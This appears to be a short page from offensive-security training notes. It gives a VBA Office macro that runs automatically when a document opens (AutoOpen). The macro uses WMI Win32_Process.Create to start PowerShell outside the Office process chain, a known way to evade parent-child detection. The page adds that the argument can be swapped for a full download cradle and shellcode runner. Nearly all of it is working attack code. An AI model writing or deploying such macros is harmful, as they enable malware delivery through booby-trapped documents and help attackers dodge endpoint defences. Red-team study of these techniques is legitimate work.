Macro
WMI process creation to de-chain the PowerShell process.
Sub MyMacro()
strArg = "powershell"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
MyMacro
End Sub
Using the PowerShell shellcode runner
We can update the PowerShell argument for the Create method to include the entire download cradle and dechaining with WMI.


Simple Macro
Last updated